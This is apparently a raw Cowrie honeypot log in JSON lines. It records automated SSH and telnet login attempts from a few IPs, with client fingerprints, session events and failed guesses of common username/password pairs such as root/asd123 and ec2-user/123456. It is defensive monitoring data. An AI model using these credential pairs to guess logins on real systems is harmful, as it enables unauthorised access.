{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:45.669886Z","src_ip":"176.65.132.129","session":"520d6c681b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:46.754753Z","src_ip":"176.65.132.129","session":"520d6c681b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede979443f29","protocol":"telnet","message":"New connection: 152.42.224.71:33214 (10.17.0.5:23) [session: ede979443f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:47.473960Z"}
{"eventid":"cowrie.session.closed","duration":36.532954931259155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:48.301001Z","src_ip":"152.42.224.71","session":"53f443f13801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59176,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f59510fd12","protocol":"ssh","message":"New connection: 176.65.132.129:59176 (159.203.135.109:22) [session: f9f59510fd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:48.483798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:48.489353Z","src_ip":"176.65.132.129","session":"f9f59510fd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:48.571655Z","src_ip":"176.65.132.129","session":"f9f59510fd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:48.819899Z","src_ip":"176.65.132.129","session":"f9f59510fd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:49.904691Z","src_ip":"176.65.132.129","session":"f9f59510fd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59190,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d9997fba0d1","protocol":"ssh","message":"New connection: 176.65.132.129:59190 (159.203.135.109:22) [session: 1d9997fba0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:51.838567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:51.843551Z","src_ip":"176.65.132.129","session":"1d9997fba0d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:51.925436Z","src_ip":"176.65.132.129","session":"1d9997fba0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:52.171599Z","src_ip":"176.65.132.129","session":"1d9997fba0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:53.256243Z","src_ip":"176.65.132.129","session":"1d9997fba0d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"2538f2fe373c","protocol":"telnet","message":"New connection: 152.42.224.71:56892 (10.17.0.5:23) [session: 2538f2fe373c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:54.591313Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"f109bc3ebe3f","protocol":"ssh","message":"New connection: 176.65.132.129:59214 (159.203.135.109:22) [session: f109bc3ebe3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:55.043319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:55.048483Z","src_ip":"176.65.132.129","session":"f109bc3ebe3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:55.131156Z","src_ip":"176.65.132.129","session":"f109bc3ebe3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:55.381804Z","src_ip":"176.65.132.129","session":"f109bc3ebe3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:56.491440Z","src_ip":"176.65.132.129","session":"f109bc3ebe3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45164,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f1e01e31b1","protocol":"ssh","message":"New connection: 176.65.132.129:45164 (159.203.135.109:22) [session: 10f1e01e31b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:58.217293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:58.222134Z","src_ip":"176.65.132.129","session":"10f1e01e31b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:58.306158Z","src_ip":"176.65.132.129","session":"10f1e01e31b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:58.556486Z","src_ip":"176.65.132.129","session":"10f1e01e31b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:59.644419Z","src_ip":"176.65.132.129","session":"10f1e01e31b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"deceb6341274","protocol":"ssh","message":"New connection: 176.65.132.129:45186 (159.203.135.109:22) [session: deceb6341274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:01.385182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:01.465170Z","src_ip":"176.65.132.129","session":"deceb6341274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:01.535861Z","src_ip":"176.65.132.129","session":"deceb6341274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:01.804922Z","src_ip":"176.65.132.129","session":"deceb6341274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:02.901823Z","src_ip":"176.65.132.129","session":"deceb6341274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.018439531326294,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:03.255706Z","src_ip":"152.42.224.71","session":"58d4b53d1680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45208,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40f7f508097","protocol":"ssh","message":"New connection: 176.65.132.129:45208 (159.203.135.109:22) [session: d40f7f508097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:04.668982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:04.674680Z","src_ip":"176.65.132.129","session":"d40f7f508097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:04.760481Z","src_ip":"176.65.132.129","session":"d40f7f508097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.07620096206665,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:05.008648Z","src_ip":"152.42.224.71","session":"3bc03e4176a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:05.016418Z","src_ip":"176.65.132.129","session":"d40f7f508097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:06.128506Z","src_ip":"176.65.132.129","session":"d40f7f508097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34916,"dst_ip":"159.203.135.109","dst_port":22,"session":"0381dbf8b440","protocol":"ssh","message":"New connection: 176.65.132.129:34916 (159.203.135.109:22) [session: 0381dbf8b440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:07.814145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:07.819178Z","src_ip":"176.65.132.129","session":"0381dbf8b440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:07.910813Z","src_ip":"176.65.132.129","session":"0381dbf8b440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:08.159562Z","src_ip":"176.65.132.129","session":"0381dbf8b440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:09.245211Z","src_ip":"176.65.132.129","session":"0381dbf8b440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45942,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc389ee79a4","protocol":"ssh","message":"New connection: 147.45.197.250:45942 (10.17.0.5:22) [session: edc389ee79a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:10.662479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:10.667232Z","src_ip":"147.45.197.250","session":"edc389ee79a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:10.757378Z","src_ip":"147.45.197.250","session":"edc389ee79a4","protocol":"ssh"}
